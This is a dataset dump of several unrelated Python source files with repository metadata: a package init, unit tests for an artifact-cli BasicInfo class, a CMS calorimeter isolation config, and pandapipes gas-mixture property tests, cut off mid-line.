[ "Apache-2.0", "MIT" ]
12
2018-10-31T01:57:55.000Z
2019-02-07T05:49:36.000Z
slam_recognition/util/relativity/__init__.py
SimLeek/pySILEnT
feec2d1fb654d7c8dc25f610916f4e9b202a1092
[ "Apache-2.0", "MIT" ]
null
null
null
from .get_relative_to_indices import get_relative_to_indices, get_relative_to_indices_regions
47
93
0.925532
15
94
5.133333
0.466667
0.428571
0.506494
0.779221
0
0
0
0
0
0
0
0
0.053191
94
1
94
94
0.865169
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
031819d76e7b766738958a3110c420ae75d31e2d
15,284
py
Python
tests/artifactcli/artifact/test_basicinfo.py
arcizan/artifact-cli
1b4ddcd8bb3c32899fa385eefd128829c8cdd6e5
[ "Apache-2.0" ]
10
2015-01-11T14:43:57.000Z
2020-05-08T06:18:30.000Z
tests/artifactcli/artifact/test_basicinfo.py
arcizan/artifact-cli
1b4ddcd8bb3c32899fa385eefd128829c8cdd6e5
[ "Apache-2.0" ]
34
2015-01-04T17:37:54.000Z
2019-11-11T17:11:24.000Z
tests/artifactcli/artifact/test_basicinfo.py
arcizan/artifact-cli
1b4ddcd8bb3c32899fa385eefd128829c8cdd6e5
[ "Apache-2.0" ]
4
2015-01-11T07:05:33.000Z
2021-11-17T04:26:32.000Z
import unittest from artifactcli.artifact import BasicInfo class TestBasicInfo(unittest.TestCase): def setUp(self): self.test_data = [ BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None), BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1.2', 'zip', 345), ] class A(object): pass def test_eq(self): self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'zip', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 124)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogprojectX', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogproject', 'xxx-yyy-assemblyX', '0.1-SNAPSHOT', 'jar', 123)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOTX', 'jar', 123)) self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) == 123) def test_ne(self): self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'zip', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 124)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogprojectX', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogproject', 'xxx-yyy-assemblyX', '0.1-SNAPSHOT', 'jar', 123)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOTX', 'jar', 123)) self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) != 123) def test_lt(self): self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) < BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) < 123) self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) < '123') self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) < self.A()) def test_le(self): self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) <= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) <= 123) self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) <= '123') self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) <= self.A()) def test_gt(self): self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) > BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) > 123) self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) > '123') self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) > self.A()) def test_ge(self): self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1)) self.assertFalse( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 1) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertTrue( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) >= BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 10)) self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) >= 123) self.assertFalse(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) >= '123') self.assertTrue(BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', 123) >= self.A()) def test_str_type(self): self.assertTrue(all(isinstance(x.__str__(), str) for x in self.test_data)) def test_repr(self): self.assertEqual( repr(self.test_data[0]), "BasicInfo(group_id='com.github.mogproject', artifact_id='xxx-yyy-assembly'," + " version='0.1-SNAPSHOT', packaging='jar', revision=None)") self.assertEqual( repr(self.test_data[1]), "BasicInfo(group_id='com.github.mogproject', artifact_id='xxx-yyy-assembly'," + " version='0.1.2', packaging='zip', revision=345)") def test_filename(self): self.assertEqual( BasicInfo('com.github.mogproject', 'xxx-yyy-assembly', '0.1-SNAPSHOT', 'jar', None).filename(), 'xxx-yyy-assembly-0.1-SNAPSHOT.jar') self.assertEqual( BasicInfo('GROUP_ID', 'xxxxxx', '1.2.3', 'zip', 123).filename(), 'xxxxxx-1.2.3.zip') def test_is_version_like(self): self.assertEqual(BasicInfo._is_version_like('0'), True) self.assertEqual(BasicInfo._is_version_like('1'), True) self.assertEqual(BasicInfo._is_version_like('0.2'), True) self.assertEqual(BasicInfo._is_version_like('0.0.3'), True) self.assertEqual(BasicInfo._is_version_like('1.2.3.4'), True) self.assertEqual(BasicInfo._is_version_like(''), False) self.assertEqual(BasicInfo._is_version_like('a'), False) self.assertEqual(BasicInfo._is_version_like('.'), False) self.assertEqual(BasicInfo._is_version_like('0.'), False) self.assertEqual(BasicInfo._is_version_like('0.1.'), False) self.assertEqual(BasicInfo._is_version_like('0..1'), False) self.assertEqual(BasicInfo._is_version_like('1.2.3.4.a'), False) def test_from_path(self): self.assertEqual(BasicInfo.from_path('a', '/home/user/xxx-yyy-assembly-0.1.0-SNAPSHOT.jar'), BasicInfo('a', 'xxx-yyy-assembly', '0.1.0-SNAPSHOT', 'jar', None)) self.assertEqual(BasicInfo.from_path('b', '/home/user/xxx-yyy-assembly-0.1.jar'), BasicInfo('b', 'xxx-yyy-assembly', '0.1', 'jar', None)) self.assertEqual(BasicInfo.from_path('c', '/a/b/c/d/dist/d-0.1.0.zip'), BasicInfo('c', 'd', '0.1.0', 'zip', None)) self.assertEqual(BasicInfo.from_path('d', 'a/b/c/d/target/universal/d-2.0-1.0-SNAPSHOT.zip'), BasicInfo('d', 'd-2.0', '1.0-SNAPSHOT', 'zip', None)) def test_from_path_error(self): self.assertRaises(ValueError, BasicInfo.from_path, 'a', 'zip') self.assertRaises(ValueError, BasicInfo.from_path, 'b', '.zip') self.assertRaises(ValueError, BasicInfo.from_path, 'c', '0.1.2.zip') self.assertRaises(ValueError, BasicInfo.from_path, 'd', 'a-b-c.zip') self.assertRaises(ValueError, BasicInfo.from_path, 'e', 'a-b-c-0') self.assertRaises(ValueError, BasicInfo.from_path, 'f', 'a-b-c-0.1.2.') def test_s3_path(self): self.assertEqual(self.test_data[1].s3_path(), 'com.github.mogproject/xxx-yyy-assembly/0.1.2/345/xxx-yyy-assembly-0.1.2.zip') def test_s3_path_error(self): self.assertRaises(ValueError, self.test_data[0].s3_path) def test_dict_conversions(self): self.assertEqual(BasicInfo.from_dict(self.test_data[0].to_dict()), self.test_data[0]) self.assertEqual(BasicInfo.from_dict(self.test_data[1].to_dict()), self.test_data[1])
64.762712
120
0.609395
1,912
15,284
4.82113
0.044456
0.02647
0.170102
0.178998
0.932632
0.919831
0.894012
0.845737
0.815904
0.81189
0
0.041437
0.193143
15,284
235
121
65.038298
0.706049
0
0
0.617512
0
0.009217
0.405915
0.172664
0
0
0
0
0.410138
1
0.073733
false
0.004608
0.009217
0
0.092166
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
031f0ec944144709be238ee4c67998ae882dc662
54
py
Python
python/lists.py
sivasant/python_project
d148a1be177a634b25e571b1fc1b710276f3ef3b
[ "Apache-2.0" ]
null
null
null
python/lists.py
sivasant/python_project
d148a1be177a634b25e571b1fc1b710276f3ef3b
[ "Apache-2.0" ]
null
null
null
python/lists.py
sivasant/python_project
d148a1be177a634b25e571b1fc1b710276f3ef3b
[ "Apache-2.0" ]
null
null
null
x=5,6,6,2# Tuples x=(5,6,6,2)#Tuples y=[1,2,2]#Lists
10.8
18
0.574074
17
54
1.823529
0.470588
0.129032
0.193548
0.258065
0.709677
0.709677
0
0
0
0
0
0.22449
0.092593
54
4
19
13.5
0.408163
0.314815
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
1
null
0
1
1
0
1
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
035c642e22369d113b6124670571ed8db29ff95f
1,624
py
Python
RecoMuon/MuonIsolationProducers/python/caloExtractorBlocks_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
RecoMuon/MuonIsolationProducers/python/caloExtractorBlocks_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
RecoMuon/MuonIsolationProducers/python/caloExtractorBlocks_cff.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
import FWCore.ParameterSet.Config as cms # -*-TCL-*- MIsoCaloExtractorHLTBlock = cms.PSet( DR_Veto_H = cms.double(0.1), Vertex_Constraint_Z = cms.bool(False), Threshold_H = cms.double(0.5), ComponentName = cms.string('CaloExtractor'), Threshold_E = cms.double(0.2), DR_Max = cms.double(1.0), DR_Veto_E = cms.double(0.07), Weight_E = cms.double(1.5), Vertex_Constraint_XY = cms.bool(False), DepositLabel = cms.untracked.string('EcalPlusHcal'), CaloTowerCollectionLabel = cms.InputTag("towerMaker"), Weight_H = cms.double(1.0) ) MIsoCaloExtractorEcalBlock = cms.PSet( DR_Veto_H = cms.double(0.1), Vertex_Constraint_Z = cms.bool(False), Threshold_H = cms.double(0.5), ComponentName = cms.string('CaloExtractor'), Threshold_E = cms.double(0.2), DR_Max = cms.double(1.0), DR_Veto_E = cms.double(0.07), Weight_E = cms.double(1.0), Vertex_Constraint_XY = cms.bool(False), DepositLabel = cms.untracked.string('EcalPlusHcal'), CaloTowerCollectionLabel = cms.InputTag("towerMaker"), Weight_H = cms.double(0.0) ) MIsoCaloExtractorHcalBlock = cms.PSet( DR_Veto_H = cms.double(0.1), Vertex_Constraint_Z = cms.bool(False), Threshold_H = cms.double(0.5), ComponentName = cms.string('CaloExtractor'), Threshold_E = cms.double(0.2), DR_Max = cms.double(1.0), DR_Veto_E = cms.double(0.07), Weight_E = cms.double(0.0), Vertex_Constraint_XY = cms.bool(False), DepositLabel = cms.untracked.string('EcalPlusHcal'), CaloTowerCollectionLabel = cms.InputTag("towerMaker"), Weight_H = cms.double(1.0) )
33.833333
58
0.684113
223
1,624
4.807175
0.174888
0.176306
0.130597
0.071828
0.888993
0.888993
0.888993
0.888993
0.888993
0.888993
0
0.033309
0.168103
1,624
47
59
34.553191
0.760178
0.005542
0
0.744186
0
0
0.065177
0
0
0
0
0
0
1
0
false
0
0.023256
0
0.023256
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
cef10ebb7dcf5d4d0ec03a5ee3f6e8268988f181
16,051
py
Python
pandapipes/test/properties/test_properties_toolbox.py
dcronbach/pandapipes
312fef81ddd0fb3eb23ec1c5bbc2848d568faa52
[ "BSD-3-Clause" ]
null
null
null
pandapipes/test/properties/test_properties_toolbox.py
dcronbach/pandapipes
312fef81ddd0fb3eb23ec1c5bbc2848d568faa52
[ "BSD-3-Clause" ]
null
null
null
pandapipes/test/properties/test_properties_toolbox.py
dcronbach/pandapipes
312fef81ddd0fb3eb23ec1c5bbc2848d568faa52
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020 by Fraunhofer Institute for Energy Economics # and Energy System Technology (IEE), Kassel. All rights reserved. # Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. import pandas as pd import numpy as np import os from pandapipes import pp_dir from pandapipes.properties.properties_toolbox import calculate_mixture_viscosity, \ calculate_mixture_molar_mass, calculate_mass_fraction_from_molar_fraction, \ calculate_mixture_density, calculate_mixture_heat_capacity def test_mixture_viscosity_lgas(): test_mix_viscos = pd.read_csv(os.path.join(pp_dir, 'properties', 'lgas', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'viscosity.txt'), header=None, sep=' ').values[:, 1] visco_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'viscosity.txt'), header=None, sep=' ').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_viscosities = np.concatenate([[viscos_ch4], [viscos_n2], [viscos_co2], [visco_c2h6]]) components_molar_proportions = np.array([.85, .103, .013, .034]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) mix_viscos = calculate_mixture_viscosity( components_viscosities, components_molar_proportions, components_molar_mass) assert np.allclose(mix_viscos, test_mix_viscos, rtol=0, atol=1e-8) mix_viscos = calculate_mixture_viscosity( components_viscosities[:, 0], components_molar_proportions, components_molar_mass) assert np.allclose(mix_viscos, test_mix_viscos, rtol=0, atol=2e-5) def test_mixture_viscosity_hgas(): test_mix_viscos = pd.read_csv(os.path.join(pp_dir, 'properties', 'hgas', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'viscosity.txt'), header=None, sep=' ').values[:, 1] viscos_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'viscosity.txt'), header=None, sep=' ').values[:, 1] visco_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'viscosity.txt'), header=None, sep=' ').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_viscosities = np.concatenate([[viscos_ch4], [viscos_n2], [viscos_co2], [visco_c2h6]]) components_molar_proportions = np.array([.964, .005, .005, .026]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) mix_viscos = calculate_mixture_viscosity( components_viscosities, components_molar_proportions, components_molar_mass) assert np.allclose(mix_viscos, test_mix_viscos, rtol=0, atol=1e-10) def test_mixture_density_lgas(): test_mix_density = pd.read_csv(os.path.join(pp_dir, 'properties', 'lgas', 'density.txt'), header=None, sep=' ').values[:, 1] dens_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'density.txt'), header=None, sep=' ').values[:, 1] dens_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'density.txt'), header=None, sep=' ').values[:, 1] dens_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'density.txt'), header=None, sep=' ').values[:, 1] dens_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'density.txt'), header=None, sep=' ').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_density = np.concatenate([[dens_ch4], [dens_n2], [dens_co2], [dens_c2h6]]) components_molar_proportions = np.array([.85, .103, .013, .034]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_mass_proportions = calculate_mass_fraction_from_molar_fraction( components_molar_proportions, components_molar_mass) mix_dens = calculate_mixture_density( components_density, components_mass_proportions=components_mass_proportions) assert np.allclose(mix_dens, test_mix_density, rtol=0, atol=1e-10) mix_dens = calculate_mixture_density( components_density[:, 0], components_mass_proportions=components_mass_proportions) assert np.allclose(mix_dens, test_mix_density[0], rtol=0, atol=1e-10) def test_mixture_density_hgas(): test_mix_density = pd.read_csv(os.path.join(pp_dir, 'properties', 'hgas', 'density.txt'), header=None, sep=' ').values[:, 1] dens_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'density.txt'), header=None, sep=' ').values[:, 1] dens_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'density.txt'), header=None, sep=' ').values[:, 1] dens_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'density.txt'), header=None, sep=' ').values[:, 1] dens_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'density.txt'), header=None, sep=' ').values[:, 1] molar_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'molar_mass.txt'), header=None, sep=' ').values[0] molar_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'molar_mass.txt'), header=None, sep=' ').values[0] components_density = np.concatenate([[dens_ch4], [dens_n2], [dens_co2], [dens_c2h6]]) components_molar_proportions = np.array([.964, .005, .005, .026]) components_molar_mass = np.concatenate([molar_ch4, molar_n2, molar_co2, molar_c2h6]) components_mass_proportions = calculate_mass_fraction_from_molar_fraction( components_molar_proportions, components_molar_mass) mix_dens = calculate_mixture_density( components_density, components_mass_proportions=components_mass_proportions) assert np.allclose(mix_dens, test_mix_density, rtol=0, atol=1e-10) def test_mixture_heat_capacity_lgas(): test_mix_capacity = pd.read_csv(os.path.join(pp_dir, 'properties', 'lgas', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_ch4 = pd.read_csv(os.path.join(pp_dir, 'properties', 'methane', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_n2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'nitrogen', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_co2 = pd.read_csv(os.path.join(pp_dir, 'properties', 'carbondioxid', 'heat_capacity.txt'), header=None, sep=' ').values[:, 1] cap_c2h6 = pd.read_csv(os.path.join(pp_dir, 'properties', 'ethane', 'heat_capacity.txt'), header=None, sep=' 